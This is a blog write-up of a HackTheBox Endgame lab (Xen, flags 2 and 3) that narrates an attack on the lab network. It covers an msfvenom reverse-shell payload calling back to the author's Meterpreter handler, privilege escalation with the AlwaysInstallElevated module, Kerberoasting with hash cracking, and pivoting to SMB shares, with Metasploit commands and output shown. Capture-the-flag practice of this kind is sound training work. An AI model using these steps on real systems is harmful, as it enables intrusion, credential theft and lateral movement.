HackTheBox Endgame Xen Writeup Part 2 – Deploy and Ghost (Flag 02 and 03/06)

HackTheBox EndGame Xen Writeup Series

Welcome back to Part 2 of HackTheBox Xen Endgame writeup. The level is called “Deploy”. The task is to privesc the current users on XenApp RDP and get the administrator shell on my Kali machine and get the flag number 2.

This writeup will be the mix of two flags, Deploy and Ghost. I think the Deploy writeup is very small so thought of adding two flags writeup and made a long enough to post the article.

The main obstacle for me before getting the Breach flag was to get proper meterpreter shell. For some reason, I was not able to get meterpreter shell. I made a lot of trails and errors before getting the 2nd flag. However, from 1st flag to 2nd is not that big task. Just a properly executed reverse shell and right selection of exploit would give you 2nd flag right away.

But, the 3rd flag Deploy is the toughest so far. This level involves proxy, pivoting & port forwarding etc. There is Kerberoasting, a time-consuming Hash cracking process as well.

After logging to the system first thing I noticed is I was able to access my local share from the remote desktop, which makes transferring the payloads, files, exploits easy. However, I disabled it as it’s difficult to trust anyone in HTB 😉

I as well noticed that each machine has 2 NIC, one for internal HTB network and another one public, so I should be using the external NIC for my reverse connection.

Computers and Devices In the Network

Preparing The Payload

I used common msfvenom to create x86 payload and transfer it to the machine using my share.

Running a Python SimpleHTTPServer

Once I have a reverse shell payload, I run a Python Webserver on the Xen working directory so that I could access the payload and run it from the XEN RDP.

Setting Up The Meterpreter

Here is how I set up the MSF.

# root @ ns09 in ~/htb/xen [22:45:27] 
$ msfconsole
     ,           ,
    /             \
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

       =[ metasploit v5.0.70-dev                          ]
+ -- --=[ 1960 exploits - 1094 auxiliary - 336 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST
msf5 exploit(multi/handler) > set LPORT 9988
LPORT => 9988
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on

Accessing the Reverse Shell Payload

As everything is set up I browse the webserver from the XEN machine and download the reverse shell and run it.

Low Privilege Reverse Shell As User

As soon as I run the payload shell2.exe I got the reverse shell as user Paul Morgan

Privilege Escalation From User To System

As I have the low privilege meterpreter shell, I need to escalate my privilege to administrator. Since the user I’m having reverse shell unable to perform major operations, I shall use meterpreter to find ways. Meterpreter comes with a built-in exploit checker called “Exploit Suggester”. I’m going to use it to find the possible ways to exploit the machine.

So, after the script run for around 10 minutes, it returned with 6 suggestions and 1 confirmed exploit. So, I’m using going to use the confirmed “always_install_elevated” exploit. This exploit abuses .MSI (Windows Installer engine). This exploit only works if the registry name “AlwaysInstallElevated” should be existed in both below keys with a dword value of 1. So this exploit may not work on most real-life machines as normally this is disabled by default.




The Meterpreter Exploit

Here is how I set up the exploit.

meterpreter > 
Background session 1? [y/N]  y
[-] Unknown command: y.
msf5 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf5 exploit(windows/local/always_install_elevated) > set session 1
session => 1
msf5 exploit(windows/local/always_install_elevated) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/always_install_elevated) > set LHOST
msf5 exploit(windows/local/always_install_elevated) > set LPORT 9998
LPORT => 9998
msf5 exploit(windows/local/always_install_elevated) > run

[*] Started reverse TCP handler on 

Running the exploit and getting Flag#2 – Deploy

When everything is ready, I run the exploit and wait for meterpreter to upload the custom MSI exploit in to \TMP\ folder of the user and execute it. Once the execution is successful, I have another meterpreter session (2) opened as System.

So this exploit might not work every time on a first attempt, I had to retry a couple of times before I got the exploit executed and have my privilege escalated.

I found the second flag in Administrator’s desktop.

Flag #3 – Ghost

Ok, going further. As I’m having full access to the Server I can perform more advanced tasks as Administrator. Before that I need to see the interfaces, gateways and IP addresses allocated. I used simple windows IPCONFIG /ALL:

meterpreter > ipconfig /all

Interface  1
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address :
IPv4 Netmask :
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:50:56:b9:4a:83
MTU          : 1500
IPv4 Address :
IPv4 Netmask :

Interface 12
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a0d:260f
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 15
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:ac10:f9cd
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 18
Name         : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:50:56:b9:5a:f5
MTU          : 1500
IPv4 Address :
IPv4 Netmask :

From the network connection details I already know the internal network range is 172.16.249.xxx, so I decided to find more hosts within the reach.

There is a nice article published by SANS (https://pen-testing.sans.org/resources/papers/gpen/post-exploitation-metasploit-pivot-port-121704) about Post Exploitation using Metasploit pivot & port forward.

As per the article I run the ARP Scanner against the internal IP range and retrieved 7 hosts running.

I tried several ways to connect to the ports of the hosts I retrieved, but noting good come in my hand, until as always, discord pals for the rescue. As per one of them, I supposed to do Kerberoasting and obtain the hashes and crack them and finally get the credentials.

Running PowerShell

I tried to run the Shell and then execute the Import-Module, but I was not able to do as command execution blocked because script execution is disabled. So I had to find another way, I know that, from meterpreter session I could run PowerShell easily without any blocking.

I run the “load powershell” and then “powershell_shell” and I have the meterpreter Windows PowerShell extension running in front of me, then using Invoke-Kerberoast -OutputFormat hashcat |fl I have the Hash of new SamAccount “MTurner”

So the hash is not in right format, there are white spaces were included when I copied from the terminal, I used the “White Space Remover” to make the hash clean for cracking.

Cracking The Hash Using HashCat

Once I have the hash, I copied it in to a text file and set the HashCat for cracking using my good old friend RockYou.txt as wordlist.

Hashcat took good 93 minutes to crack the file, and finally I have the credential for the SamAccount MTurner.

Privilege Information

Now that I have a proper meterpreter shell and I can run priv escalated PowerShell commands. The next task I wanted to use the Metasploit’s built-in scanner module to possible smb shares and RDP enabled systems in the network. I’m going to add a route the Metasploit to tunnel traffic through my current session and assign the scanning module the required scan subnet and scan, this was my plan.

I background my current session and then took note of the sessions running.

Then use the post/multi/manage/autoroute module and assigned the active session to it. I confirmed the route has been added to my local subnet.

Then I used the auxiliary/scanner/portscan/tcp scanner add the common ports to scan. I as well add the whole 1721.16.249.0/24 subnet for scanning. I knew it will take a while, so I increased the threads to 25.

The Result

The scanning was successful and I have 2 IPs are responding. Poers 445 and 3389 are open and listening on the IPs172.16.249.200, and

I proceed to check the SMB Login using the password I cracked a while ago and the login was success.

Next, I used ProxyChains to connect to the SMBs and finally after days of trail and error I was able to access the SMB shares in the htb.local network.

msf5 post(multi/manage/autoroute) > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set rhosts
rhosts =>

msf5 auxiliary(scanner/smb/smb_login) > set SMBUser mturner
SMBUser => mturner
msf5 auxiliary(scanner/smb/smb_login) > set SMBPass *********
SMBPass => ******
msf5 auxiliary(scanner/smb/smb_login) > exploit

[*]    - - Starting SMB login bruteforce
[-]    - - Failed: '.\mturner:*********',
[*]    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain htb.local
SMBDomain => htb.local
msf5 auxiliary(scanner/smb/smb_login) > run

[*]    - - Starting SMB login bruteforce
[+]    - - Success: 'htb.local\mturner:*******'
[*]    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Accessing SMBShares and Getting The Flag#3 –

I made sure I can connect to SMBShares and access the files inside.

Then I started to enum different shares on the devices. I noticed a folder Citrix$ on Connected to the folder using smbclient command, I’m successfully getting connected, but getting protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED. I made research and found out that this could be an SMB version support on my Kali, so appending -m smb2 or -m smb3 should fix this issue but, even after changing the request I’m still getting the error. Then I realized the machine I’m connecting might not support the higher version of SMB protocol, so I should change to a lower version of protocol, like SMB1 (NT1)

Then I changed my Smaba.conf as below and run the command again.

But that didn’t work as well, so I found another way to connect, I amend the –option=’client min protocol=NT1′ and I got connected immediately. I actually found this reference in HTB forum in Lame’s thread. (ref)

And I found the 3rd flag Ghost inside the Citrix$ directory.

Well this was the ride I wanted to have, such a beautiful machine so far.

Thanks for stopping by and reading. I will continue my journey and going post the part 4 and 5 as soon as I complete.


Hey there, I'm Navin, a passionate Info-Sec enthusiast from Bahrain. I started this blog to share my knowledge. I usually write on HackTheBox machines and challenges, cybersecurity-related articles and bug-bounty. If you are an HTB user and like my articles, please respect here: Profile: https://www.hackthebox.eu/nav1n

You may also like...

Notify of
Inline Feedbacks
View all comments
Sorry, that action is blocked.